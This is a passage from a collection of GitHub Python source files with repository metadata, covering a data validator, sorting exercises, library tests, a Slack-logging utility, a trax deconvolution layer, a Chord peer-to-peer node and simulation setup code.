sequences are all present. This may not always be the case!\n\n for parent_table_name, child_table_name in [ [\"strains\", \"samples\"], [\"samples\", \"sequences\"] ]:\n if parent_table_name not in tables or child_table_name not in tables:\n logger.warn(\"orphan detection: skipping {} -> {} (one/both are missing from JSON)\".format(parent_table_name, child_table_name))\n else:\n ## 1. check (e.g.) strain -> sample linkage (table A - B)\n ids_linked, ids_missing = _check_linkage(tables, tables_primary_keys[parent_table_name], parent_table_name, child_table_name)\n if len(ids_missing) == 0:\n logger.info(\"Complete (forward) linkage between tables {} & {}\".format(parent_table_name, child_table_name))\n else:\n logger.warn(\"Incomplete (forward) linkage between tables {} & {}. These {} were unlinked: {}\".format(parent_table_name, child_table_name, tables_primary_keys[parent_table_name], ids_missing))\n\n ## 2. check the reverse (e.g. are the sample_id's in strains all present in samples?\n ## this is made possible by the child table including the parent's primary key\n ids_linked, ids_missing = _check_linkage(tables, tables_primary_keys[parent_table_name], child_table_name, parent_table_name)\n if len(ids_missing) == 0:\n logger.info(\"Complete (backwards) linkage between tables {} & {}\".format(child_table_name, parent_table_name))\n else:\n logger.warn(\"Incomplete (backwards) linkage between tables {} & {}. These {} value were unlinked: {}\".format(child_table_name, parent_table_name, tables_primary_keys[parent_table_name], ids_missing))\n","repo_name":"nextstrain/flora","sub_path":"scripts/utils/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"46379452667","text":"# a recursive function that takes a list of integers as an argument and returns the maxmimum of that list\ndef maxList(list):\n if len(list) == 1:\n return list[0]\n elif list[0] >= max(list[1:len(list)]): \n return list[0]\n else:\n return maxList(list[1:len(list)])\n\nprint(maxList([0,12,5438,134,13489,81749,478493,2]))\n","repo_name":"sforrester23/SlitherIntoPython","sub_path":"chapter16/Question5.py","file_name":"Question5.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39099849990","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\nclass BinaryTree:\n def __init__(self):\n self.root = None\n\n def add(self, data):\n if self.root == None:\n self.root = Node(data)\n else:\n current = self.root\n while True:\n if data > current.data:\n if current.right == None:\n current.right = Node(data)\n return\n else:\n current = current.right\n else:\n if current.left == None:\n current.left = Node(data)\n return\n else:\n current = current.left\n\n def inorder(self):\n tree = []\n def traverse(node):\n if node.left != None: traverse(node.left)\n tree.append(node.data)\n if node.right != None: traverse(node.right)\n traverse(self.root)\n return tree\n\ndef tree_sort(A):\n bt = BinaryTree()\n for x in A:\n bt.add(x)\n return bt.inorder()\n\n\nA = [8,5,6,1,4,9,2,3,7,0]\nA = tree_sort(A)\nprint(A)\n","repo_name":"shadowhalcyon/Implementations","sub_path":"Algorithms/Sorting/tree_sort.py","file_name":"tree_sort.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1453547637","text":"from zilean import SnapShots\n\nimport json, os\n\n# Current file location:\n__location__ = os.path.realpath(\n os.path.join(os.getcwd(), os.path.dirname(__file__)))\n\n# Load in example timeline for testing\nexample_file = os.path.join(__location__, \"example_timeline.json\")\nwith open(example_file , \"r\") as example:\n example_timeline = json.load(example)\n\ninvalid_timeline = {\"Nope\": 0}\n\n\ndef test_load_list():\n \"\"\"Load an example Riot `MatchTimelineDto`\"\"\"\n SnapShots(example_timeline)\n\n\ndef test_load_dict():\n \"\"\"Load an example Riot `MatchTimelineDto`\"\"\"\n SnapShots(example_timeline[0])\n\n\ndef test_load_json():\n \"\"\"Load an example file with Riot `MatchTimelineDto`\"\"\"\n SnapShots(example_file, verbose=True)\n\n\ndef test_to_disk_and_load_csv():\n \"\"\"\n Load an example Riot `MatchTimelineDto`, save to csv using \n to_disk(), and then load the csv file again.\n \"\"\"\n # To disk\n snaps_1 = SnapShots(example_file)\n snaps_1.to_disk(path=__location__, verbose=True)\n # Load both files\n match_file = os.path.join(__location__, \"match_8.csv\")\n frame_file = os.path.join(__location__, \"frame_8.csv\")\n SnapShots(match_file)\n SnapShots(frame_file)\n # Delete files\n os.remove(match_file)\n os.remove(frame_file)\n\n\ndef test_load_invalid_dict():\n \"\"\"Load a invalid Riot `MatchTimelineDto`\"\"\"\n try:\n SnapShots(invalid_timeline)\n except ValueError:\n pass;\n\n\ndef test_correct_summary():\n \"\"\"Test the values from the summary is correct.\"\"\"\n snaps = SnapShots(example_file)\n # Per match\n per_match = snaps.summary(per_frame=False)[0]\n assert per_match[\"level_0\"] == -1\n assert per_match[\"xp_2\"] == -767\n # Per frame\n per_frame = snaps.summary(per_frame=True)[0]\n assert per_frame[\"level_0\"] == per_match[\"level_0\"]\n assert per_frame[\"xp_2\"] == per_match[\"xp_2\"]\n\n\ndef test_summary_per_frame():\n \"\"\"Test the per_frame option is working correctly\"\"\"\n snaps = SnapShots(example_file)\n\n per_match = snaps.summary(per_frame=False)[0]\n per_frame = snaps.summary(per_frame=True)[0]\n\n assert \"frame\" not in per_match.keys()\n assert \"frame\" in per_frame.keys()\n assert per_frame[\"frame\"] == 8\n\n\ndef test_empty_subset():\n \"\"\"Test empty get_lanes.\"\"\"\n snaps = SnapShots(example_file)\n subset = snaps.subset()\n assert len(subset.summary()[0].keys()) == 52\n assert subset.summary()[0].keys() == snaps.summary()[0].keys()\n\n\ndef test_invalid_subset():\n \"\"\"Test subset with invalid argument\"\"\"\n snaps = SnapShots(example_file)\n\n assert len(snaps.subset(frames=[9]).summary()[0].keys()) == 2\n assert len(snaps.subset(lanes=[\"FOO\"]).summary()[0].keys()) == 2\n assert len(snaps.subset(features=[\"NOPE\"]).summary()[0].keys()) == 2\n\n\ndef test_subset():\n \"\"\"Test subset with valid argument\"\"\"\n snaps = SnapShots(example_file)\n\n assert len(snaps.subset(features=[\"totalGold\"]).summary()[0].keys()) == 7\n assert len(snaps.subset(lanes=[\"TOP\"]).summary()[0].keys()) == 12\n assert len(snaps.subset(frames=[8]).summary()[0].keys()) == 52\n\n\ndef test_invalid_agg():\n \"\"\"Test agg with invalid argument\"\"\"\n snaps = SnapShots(example_file)\n\n try:\n snaps.agg(\"foo\")\n except ValueError:\n pass\n\n\ndef test_agg_type():\n \"\"\"Test different types of agg\"\"\"\n snaps = SnapShots(example_file, frames=[8, 12])\n\n # Test agg by frame\n by_frame = snaps.agg(\"frame\")[0]\n assert \"creepScore_3\" in by_frame\n assert by_frame[\"creepScore_3\"] == -26\n\n # Teat agg by team\n by_team = snaps.agg(\"team\")[0]\n assert \"totalDamageDone_frame12\" in by_team\n assert by_team[\"totalDamageDone_frame12\"] == -25846\n\n\ndef test_agg_func():\n \"\"\"Test agg using different aggregation function\"\"\"\n snaps = SnapShots(example_file, frames=[8, 12])\n\n # Using max\n by_team = snaps.agg(\"team\", max)[0]\n assert by_team[\"totalDamageTaken_frame8\"] == 1246\n assert by_team[\"totalGold_frame12\"] == 554\n\n # Custom function\n custom = snaps.agg(\"frame\", lambda x: x[1])[0]\n assert custom[\"level_2\"] == -2\n assert custom[\"xp_3\"] == -203\n\n\ndef test_subset_agg():\n \"\"\"Tets agg after subset\"\"\"\n snaps = SnapShots(example_file, frames=[8, 12])\n subset_agg_1 = snaps.subset(features=[\"xp\"]).agg(\"team\")[0]\n assert \"xp_frame8\" in subset_agg_1\n assert \"totalGold_frame8\" not in subset_agg_1\n assert subset_agg_1[\"xp_frame8\"] == -1553\n","repo_name":"JohnsonJDDJ/zilean","sub_path":"tests/test_SnapShots.py","file_name":"test_SnapShots.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"31"} +{"seq_id":"2163782960","text":"import json\n\nfrom src.const import ERROR_FILE_PATH\nfrom src.secret import WEB_HOOK_URL\nfrom src.util.judge import is_wifi_usable\nfrom src.util.time import Time, ntp_sync\n\n\nif is_wifi_usable():\n import urequests\n\n\nclass CustomLogging:\n def __init__(self, console=True, file=True, slack=False):\n self.console = console\n self.file = file\n self.slack = slack\n\n self._write_file(\"\\n\\nnew session\\n\")\n try:\n ntp_sync()\n except Exception as e:\n self.write(f\"ntp sync failed: {e}\")\n\n def _format(self, message):\n return f\"[{Time.now()}] {message}\"\n\n def write(self, message):\n message = self._format(message)\n if self.console:\n self._write_console(message)\n if self.file:\n self._write_file(message)\n\n if self.slack and is_wifi_usable():\n self._write_slack(message)\n\n def _write_console(self, message):\n print(message)\n\n def _write_slack(self, message):\n urequests.post(WEB_HOOK_URL, data=json.dumps({\n \"text\": message\n }))\n\n def _write_file(self, message):\n with open(ERROR_FILE_PATH, \"a\", encoding=\"utf-8\") as f:\n f.write(f\"{message}\\n\")\n","repo_name":"eycjur/raspberry_pi","sub_path":"src/util/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74316053529","text":"import functools\nimport itertools\nimport operator\n\nfrom jax import lax\nfrom trax import fastmath\nfrom trax.fastmath import numpy as jnp\nfrom trax.layers import base\nfrom trax.layers import initializers as init\n\n\nclass ConvTranspose(base.Layer):\n \"\"\"Layer constructor function for a general Transpose Convolutional Layer.\"\"\"\n\n def __init__(self,\n filters,\n kernel_size,\n strides=None,\n padding='VALID',\n rhs_dilation=None,\n dimension_numbers=('NHWC', 'HWIO', 'NHWC'),\n kernel_initialzer=None,\n bias_initializer=init.RandomNormalInitializer(1e-6)):\n super(ConvTranspose, self).__init__()\n self._filters = filters\n self._kernel_size = kernel_size\n self._padding = padding\n self._rhs_dilation = rhs_dilation\n self._dimension_numbers = dimension_numbers\n self._lhs_spec, self._rhs_spec, self._out_spec = dimension_numbers\n self._one = (1,) * len(kernel_size)\n self._strides = strides or self._one\n self._bias_initializer = bias_initializer\n rhs_spec = self._rhs_spec\n self._kernel_initializer = kernel_initialzer\n if kernel_initialzer is None:\n self._kernel_initializer = init.GlorotNormalInitializer(\n rhs_spec.index('O'), rhs_spec.index('I'))\n\n def _check_nhwc(self):\n msg = 'Deconvolutions on more than 4 dimensions only supported in NHWC.'\n assert self._lhs_spec == self._out_spec == 'NHWC', msg\n\n def forward(self, x):\n w, b = self.weights\n x_shape = list(x.shape)\n if len(x_shape) > 4:\n self._check_nhwc()\n new_batch_dim = functools.reduce(operator.mul, x.shape[:-3])\n x = jnp.reshape(x, [new_batch_dim] + list(x.shape[-3:]))\n res = lax.conv_transpose(x, w, self._strides, self._padding,\n self._rhs_dilation, self._dimension_numbers) + b\n if len(x_shape) > 4:\n res = jnp.reshape(res, x_shape[:-3] + list(res.shape[-3:]))\n return res\n\n def _kernel_shape(self, input_shape):\n \"\"\"Helper to calculate the kernel shape.\"\"\"\n kernel_size_iter = iter(self._kernel_size)\n return [\n self._filters if c == 'O' else input_shape[self._lhs_spec.index('C')]\n if c == 'I' else next(kernel_size_iter) for c in self._rhs_spec\n ]\n\n def init_weights_and_state(self, input_signature):\n input_shape = input_signature.shape\n if len(input_shape) > 4:\n self._check_nhwc()\n new_batch_dim = functools.reduce(operator.mul, input_shape[:-3])\n input_shape = [new_batch_dim] + list(input_shape[-3:])\n kernel_shape = self._kernel_shape(input_shape)\n bias_shape = [self._filters if c == 'C' else 1 for c in self._out_spec]\n bias_shape = tuple(itertools.dropwhile(lambda x: x == 1, bias_shape))\n rng1, rng2 = fastmath.random.split(self.rng, 2)\n w = self._kernel_initializer(kernel_shape, rng1)\n b = self._bias_initializer(bias_shape, rng2)\n self.weights = (w, b)\n","repo_name":"google/trax","sub_path":"trax/layers/deconvolution.py","file_name":"deconvolution.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":7804,"dataset":"github-code","pt":"31"} +{"seq_id":"11013672966","text":"import socket\nfrom _thread import *\nimport threading\nfrom threading import Thread\nimport pickle\nfrom classes.command import Command\nimport hashlib, time\nfrom constants import DHT_BITS, CLOSEST_SUCCESSOR_LIST_SIZE\nimport struct\n\n\nclass Node:\n\n def __init__(self, ip, port, successor):\n self.port = port\n self.ip = ip\n self.predecessor = None\n if successor is None:\n self.successor = self\n else:\n self.successor = successor\n self.closest_successors = []\n\n self.name = (ip + str(port))\n # id or h\n self.id = hashfunc(self.name)\n self.finger_table = [self.successor]\n self.files = {}\n\n # ask node n to find the successor of id\n def find_successor(self, node_id):\n # if self.id < node_id <= self.successor.id: # or self.successor.id <= node_id:\n # # successor = {\n # # \"successor\": self.finger_table[0]\n # # }\n # if self.id == node_id:\n # return self\n if node_id == self.id:\n return self.successor\n if between_inclusive(self.id, node_id, self.successor.id): # or node_id == self.successor.id:\n return self.successor\n else:\n max_less_than_k = self.closest_preceding_node(node_id)\n if max_less_than_k.id == self.id:\n return max_less_than_k.successor\n\n successor_data = {\n 'hash': node_id\n }\n successor_command = Command('FIND_SUCCESSOR', successor_data)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, max_less_than_k.ip, max_less_than_k.port, successor_command)\n receive_command_data = receive_command(s)\n return receive_command_data.data[\"successor\"]\n\n def closest_preceding_node(self, node_id):\n i = 0\n while i < len(self.finger_table) and i < DHT_BITS:\n if between(self.id, self.finger_table[i].id, node_id):\n return self.finger_table[i]\n i += 1\n return self\n\n @staticmethod\n # create a new Chord ring\n def create(ip, port, successor=None):\n node = Node(ip, port, successor)\n listening_server(node)\n return node\n\n @staticmethod\n # join a Chord ring containing node n\n def join(my_ip, my_port, n_ip, n_port):\n\n my_name = my_ip + str(my_port)\n successor_data = {\n \"name\": my_name\n }\n successor_command = Command('FIND_SUCCESSOR', successor_data)\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, n_ip, n_port, successor_command)\n\n successor_command_receive = receive_command(s)\n\n successor = successor_command_receive.data[\"successor\"]\n node = Node.create(my_ip, my_port, successor)\n return node\n\n def update_successor_list(self):\n self.closest_successors = []\n if self.successor:\n _successor = self.successor\n for i in range(CLOSEST_SUCCESSOR_LIST_SIZE):\n _successor = self.find_successor(_successor.id + 1)\n if _successor:\n self.closest_successors.append(_successor)\n\n def store_file(self, filename, value):\n filename_data = {\n\n \"name\": filename\n }\n\n filename_successor_command = Command('FIND_SUCCESSOR', filename_data)\n\n n_ip = self.successor.ip\n n_port = self.successor.port\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, n_ip, n_port, filename_successor_command)\n\n filename_successor_command_receive = receive_command(s)\n\n filedict = {\n \"filename\": filename,\n \"filedata\": value\n }\n\n file_successor = filename_successor_command_receive.data[\"successor\"]\n\n if file_successor is not None:\n append_file_command = Command('APPEND', filedict)\n\n if file_successor.id == self.id:\n self.files[filename] = filedict\n elif file_successor.id:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, file_successor.ip, file_successor.port , append_file_command)\n\n if file_successor.predecessor and file_successor.predecessor.id:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, file_successor.predecessor.ip, file_successor.predecessor.port, append_file_command)\n if file_successor.predecessor.predecessor and file_successor.predecessor.predecessor.id:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, file_successor.predecessor.predecessor.ip, file_successor.predecessor.predecessor.port, append_file_command)\n\n else:\n print('No Successor found to store file in')\n\n def get_and_send_stored_file(self, filename, conn=None):\n if filename and filename in self.files:\n file_data = self.files[filename]\n if not conn:\n return file_data\n else:\n download_file_send_back_command = Command('GETTING_FILE', file_data)\n return send_complete_data(conn, download_file_send_back_command)\n else:\n print(\"No file found\")\n\n def download_file(self, filename_to_download):\n\n # filename_data = {\n # \"name\": filename_to_download\n # }\n hash_of_filename = hashfunc(filename_to_download)\n successor_for_file = self.find_successor(hash_of_filename)\n\n if successor_for_file is None:\n return None\n\n if self.id == successor_for_file.id:\n return self.get_and_send_stored_file(filename_to_download)\n else:\n get_file_data = {\n \"file_name\": filename_to_download\n }\n file_download_command = Command('GET_FILE', get_file_data)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, successor_for_file.predecessor.ip, successor_for_file.predecessor.port, file_download_command)\n file_download_command_receive = receive_command(s)\n return file_download_command_receive.data\n\n # filename_successor_command = Command('FIND_SUCCESSOR', filename_data)\n #\n # n_ip = self.successor.ip\n # n_port = self.successor.port\n #\n # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # send_command(s, n_ip, n_port, filename_successor_command)\n #\n # filename_successor_command_receive = receive_command(s)\n #\n # file_successor = filename_successor_command_receive.data[\"successor\"]\n #\n # get_file_data = {\n # \"file_name\": filename_to_download\n # }\n #\n # file_download_command = Command('GET_FILE', get_file_data)\n #\n # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # send_command(s, file_successor.predecessor.ip, file_successor.predecessor.port, file_download_command)\n #\n # file_download_command_recieve = receive_command(s)\n #\n # return file_download_command_recieve.data\n\n # called periodically. verifies n’s immediate\n # successor, and tells the successor about n.\n\n def stabilize(self):\n # if self.successor.predecessor:\n #\n # # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # # send_command(self.successor.ip, self.successor.port, )\n #\n # predecessor = self.successor.predecessor\n # if self.id < predecessor.id < self.successor.id or predecessor.id > self.successor.id:\n # self.successor = predecessor\n set_successor = True\n predecessor = None\n if self.id == self.successor.id:\n predecessor = self.predecessor\n else:\n try:\n command = Command('PREDECESSOR', {})\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5)\n send_command(s, self.successor.ip, self.successor.port, command)\n receive_predecessor_data = receive_command(s)\n predecessor = receive_predecessor_data.data[\"predecessor\"]\n self.successor.predecessor = predecessor\n except Exception as e:\n for _successor in self.closest_successors:\n if _successor:\n try:\n if _successor.id == self.id:\n self.successor = _successor\n set_successor = False\n break\n else:\n alive_data = {\n \"alive\": \"Are you alive?\"\n }\n alive_command = Command('ALIVE', alive_data)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5)\n send_command(s, _successor.ip, _successor.port, alive_command)\n receive_command(s)\n self.successor = _successor\n set_successor = False\n break\n except:\n pass\n\n if set_successor and predecessor and between(self.id, predecessor.id, self.successor.id):\n self.successor = predecessor\n\n if self.successor.id == self.id:\n self.notify(self)\n #self.update_successor_list()\n return\n notify_data = {\n \"node\": self\n }\n notify_command = Command('NOTIFY', notify_data)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n send_command(s, self.successor.ip, self.successor.port, notify_command)\n\n self.update_successor_list()\n\n #print(\"After Stabilize #\")\n #print(self.id, self.successor.id, self.predecessor.id if self.predecessor else None)\n #print(\"After Stabilize #\")\n\n # n' thinks it might be our predecessor\n def notify(self, existing_node):\n if self.predecessor is None or between(self.predecessor.id, existing_node.id,\n self.id): # or self.predecessor.id == self.id:\n self.predecessor = existing_node\n\n # elif self.predecessor and existing_node and self.predecessor.id == existing_node.id:\n # self.predecessor.predecessor = existing_node.predecessor\n\n # called periodically. refreshes finger table entries.\n # next stores the index of the next finger to fix.\n\n def fix_fingers(self):\n for i in range(DHT_BITS):\n node_id = (self.id + (2 ** i)) % (2 ** DHT_BITS)\n successor = self.find_successor(node_id)\n try:\n self.finger_table[i] = successor\n except IndexError:\n self.finger_table.append(successor)\n\n # print(\"After Fix Fingers #\")\n # print(self.id, self.successor.id, self.predecessor.id if self.predecessor else None)\n # print(\"After Fix Fingers #\")\n\n # called periodically. checks whether predecessor has failed.\n def check_predecessor(self):\n if self.predecessor is not None:\n try:\n if self.id == self.predecessor.id:\n return\n alive_data = {\n \"alive\": \"Are you alive?\"\n }\n alive_command = Command('ALIVE', alive_data )\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(5)\n send_command(s,self.predecessor.ip, self.predecessor.port, alive_command)\n receive_command(s)\n except Exception as e:\n print(e)\n self.predecessor = None\n\n\ndef stabilize_thread(node):\n while True:\n try:\n node.stabilize()\n time.sleep(3)\n except:\n pass\n\n\ndef fix_fingers_thread(node):\n while True:\n try:\n node.fix_fingers()\n time.sleep(6)\n except Exception as e:\n pass\n\n\ndef check_predecessor_thread(node):\n while True:\n try:\n node.check_predecessor()\n time.sleep(3)\n except:\n pass\n\n\ndef send_command(s, ip_to_send_to, port_to_send_to, command_to_send):\n # command_to_send = pickle.dumps(command_to_send)\n address = (ip_to_send_to, int(port_to_send_to))\n s.connect(address)\n send_complete_data(s, command_to_send)\n # length = struct.pack('!I',len(command_to_send))\n # s.send(length + command_to_send)\n\n\ndef receive_command(s):\n return receive_complete_data(s)\n\n\ndef listening_server(node):\n start_new_thread(stabilize_thread, (node,))\n start_new_thread(fix_fingers_thread, (node,))\n start_new_thread(check_predecessor_thread, (node,))\n start_new_thread(threaded_listen, (node,))\n\n\ndef send_complete_data(conn, command):\n command = pickle.dumps(command)\n length = struct.pack('!I', len(command))\n conn.send(length + command)\n\n # conn.send(pickle.dumps(command))\n\n\ndef receive_complete_data(conn):\n buf = b''\n while len(buf) < 4:\n buf += conn.recv(4 - len(buf))\n length = struct.unpack('!I', buf)[0]\n\n d = b''\n while len(d) < length:\n d += conn.recv(length - len(d))\n\n received_command = pickle.loads(d)\n return received_command\n\n\ndef threaded_listen(node):\n server = node.ip\n port = node.port\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n try:\n s.bind((server, port))\n except socket.error as e:\n print(e)\n\n s.listen(5)\n\n while True:\n conn, addr = s.accept()\n\n command = receive_complete_data(conn)\n\n if not command:\n print(\"no data received in command\")\n break\n\n if command.type == 'FIND_SUCCESSOR':\n # print('Receiving FIND_SUCCESSOR Command')\n if \"name\" in command.data:\n node_id = hashfunc(command.data[\"name\"])\n else:\n node_id = command.data[\"hash\"]\n n_successor = node.find_successor(node_id)\n successor_data = {\n \"successor\": n_successor\n }\n successor_command_send = Command('SENDING_SUCCESSOR', successor_data)\n send_complete_data(conn, successor_command_send)\n\n if command.type == 'NOTIFY':\n # print('Receiving NOTIFY Command')\n _node = command.data['node']\n node.notify(_node)\n\n if command.type == 'PREDECESSOR':\n # print('Receiving NOTIFY Command')\n predecessor = node.predecessor\n predecessor_data = {\n \"predecessor\": predecessor\n }\n predecessor_command_send = Command('SENDING_PREDECESSOR', predecessor_data)\n send_complete_data(conn, predecessor_command_send)\n\n if command.type == 'ALIVE':\n # print('Receiving ALIVE Command')\n\n alive_response_data = {\n \"alive\": True\n }\n alive_response_send = Command('AM ALIVE', alive_response_data)\n send_complete_data(conn, alive_response_send)\n\n if command.type == 'APPEND':\n print('Receiving APPEND Command {0}'.format(command.data[\"filename\"]))\n filename = command.data[\"filename\"]\n node.files[filename] = command.data\n\n if command.type == 'GET_FILE':\n print('Receiving GET_FILE Command')\n received_filename = command.data[\"file_name\"]\n node.get_and_send_stored_file(received_filename, conn)\n\n\ndef hashfunc(name):\n index = (int((hashlib.sha1(name.encode())).hexdigest(), 16)) % (2 ** DHT_BITS)\n return index\n\n\ndef between(node1_id, node2_id, node3_id):\n if node1_id < node3_id:\n return node1_id < node2_id and node2_id < node3_id\n else:\n return node1_id < node2_id or node2_id < node3_id\n\ndef between_inclusive(node1_id, node2_id, node3_id):\n if node1_id < node3_id:\n return node1_id < node2_id and node2_id <= node3_id\n else:\n return node1_id <= node2_id or node2_id < node3_id\n","repo_name":"MuhammadMahad/Distributed-Peer-To-Peer-Network-Implementation-CHORD","sub_path":"classes/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":16414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6734291848","text":"import importlib\nimport inspect\nimport json\nimport logging\nimport os\nfrom collections import defaultdict\nfrom pathlib import Path\n\nimport coloredlogs\n\nfrom utils.constants import WEBSITE_TESTS, PREVIOUS_RUNS_JSON\n\n\ndef init_logger(cls, log_file_name='run.log', logging_level=logging.INFO):\n log = logging.getLogger(cls)\n log.setLevel(logging_level)\n formatter = logging.Formatter('%(message)s')\n\n fh = logging.FileHandler(log_file_name, encoding='utf-8')\n fh.setLevel(logging_level)\n fh.setFormatter(formatter)\n log.addHandler(fh)\n\n ch = logging.StreamHandler()\n ch.setLevel(logging_level)\n ch.setFormatter(formatter)\n log.addHandler(ch)\n logger = logging.getLogger(cls)\n coloredlogs.install(level=logging_level, logger=logger, fmt='%(asctime)s %(levelname)s %(message)s')\n return logger\n\n\ndef create_protocol_tests_mapping(websites_tests_package_path=Path(WEBSITE_TESTS)):\n mapping = dict()\n for prot_package_name in filter(lambda name: not name.startswith('__'), os.listdir(websites_tests_package_path)):\n module = importlib.import_module(f'{WEBSITE_TESTS}.{prot_package_name}.tests')\n functions = inspect.getmembers(module, inspect.isfunction)\n mapping[prot_package_name] = dict(functions)\n return mapping\n\n\ndef rec_dd():\n return defaultdict(rec_dd)\n\n\ndef get_previous_runs(runs_file_name=PREVIOUS_RUNS_JSON):\n if Path(runs_file_name).exists() and Path(runs_file_name).stat().st_size != 0:\n with open(runs_file_name) as runs_file:\n previous_runs = json.load(runs_file)\n return previous_runs\n return rec_dd()\n\n\ndef save_latest_runs(latest_runs, latest_runs_file_name=PREVIOUS_RUNS_JSON):\n with open(latest_runs_file_name, 'w') as latest_runs_out_f:\n json.dump(latest_runs, latest_runs_out_f, indent=4, sort_keys=True)\n","repo_name":"w7089/WebsiteProtocolTests","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3852309408","text":"def set_mass_cylinder(veh_obj_reference) :\n # In this case, we model a 12m long, 1m radius, 1000kg solid cylinder.\n # The X-axis is the long axis.\n\n # Set the mass porperties for this vehicle.\n veh_obj_reference.mass_init.set_subject_body( veh_obj_reference.body.mass )\n\n # Set the struct to body reference frame orientation.\n veh_obj_reference.mass_init.properties.pt_orientation.data_source = trick.Orientation.InputEigenRotation\n\n\n veh_obj_reference.mass_init.properties.pt_orientation.eigen_angle = 0.0\n veh_obj_reference.mass_init.properties.pt_orientation.eigen_axis = [ 0.0, 1.0, 0.0]\n\n # Set the vehicle base mass.\n # Total mass of this body.\n veh_obj_reference.mass_init.properties.mass = 1000.0\n\n # Location of the CM in the structural reference frame.\n veh_obj_reference.mass_init.properties.position = [ 6.0, 0.0, 0.0]\n\n # Initialization options for specifying the inertia matrix.\n veh_obj_reference.mass_init.properties.inertia_spec = trick.MassPropertiesInit.Body\n veh_obj_reference.mass_init.properties.inertia_offset = [ 0.0, 0.0, 0.0]\n\n # Initialize the inertia matrix frame to body frame transformation.\n veh_obj_reference.mass_init.properties.inertia_orientation.data_source = trick.Orientation.InputEigenRotation\n\n\n veh_obj_reference.mass_init.properties.inertia_orientation.eigen_angle = 0.0\n veh_obj_reference.mass_init.properties.inertia_orientation.eigen_axis = [ 0.0, 1.0, 0.0]\n\n # Inertia matrix in specified initialization frame.\n veh_obj_reference.mass_init.properties.inertia = [[ 500.0, 0.0, 0.0],\n [ 0.0, 12250.0, 0.0],\n [ 0.0, 0.0, 12250.0]]\n","repo_name":"nasa/jeod","sub_path":"models/environment/time/verif/SIM_7_time_reversal/Modified_data/mass/cylinder.py","file_name":"cylinder.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"31"} +{"seq_id":"14859103374","text":"import datetime\nfrom typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\nfrom dateutil.parser import isoparse\n\nfrom ..models.measurement_system import MeasurementSystem\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n from ..models.sample_data import SampleData\n\n\nT = TypeVar(\"T\", bound=\"SamplesResponse\")\n\n\n@attr.s(auto_attribs=True)\nclass SamplesResponse:\n \"\"\"\n Attributes:\n data (Union[Unset, SampleData]):\n start (Union[Unset, datetime.datetime]):\n end (Union[Unset, datetime.datetime]):\n measurement_system (Union[Unset, MeasurementSystem]):\n cursor (Union[Unset, str]):\n \"\"\"\n\n data: Union[Unset, \"SampleData\"] = UNSET\n start: Union[Unset, datetime.datetime] = UNSET\n end: Union[Unset, datetime.datetime] = UNSET\n measurement_system: Union[Unset, MeasurementSystem] = UNSET\n cursor: Union[Unset, str] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n data: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.data, Unset):\n data = self.data.to_dict()\n\n start: Union[Unset, str] = UNSET\n if not isinstance(self.start, Unset):\n start = self.start.isoformat()\n\n end: Union[Unset, str] = UNSET\n if not isinstance(self.end, Unset):\n end = self.end.isoformat()\n\n measurement_system: Union[Unset, str] = UNSET\n if not isinstance(self.measurement_system, Unset):\n measurement_system = self.measurement_system.value\n\n cursor = self.cursor\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update({})\n if data is not UNSET:\n field_dict[\"data\"] = data\n if start is not UNSET:\n field_dict[\"start\"] = start\n if end is not UNSET:\n field_dict[\"end\"] = end\n if measurement_system is not UNSET:\n field_dict[\"measurementSystem\"] = measurement_system\n if cursor is not UNSET:\n field_dict[\"cursor\"] = cursor\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.sample_data import SampleData\n\n d = src_dict.copy()\n _data = d.pop(\"data\", UNSET)\n data: Union[Unset, SampleData]\n if isinstance(_data, Unset):\n data = UNSET\n else:\n data = SampleData.from_dict(_data)\n\n _start = 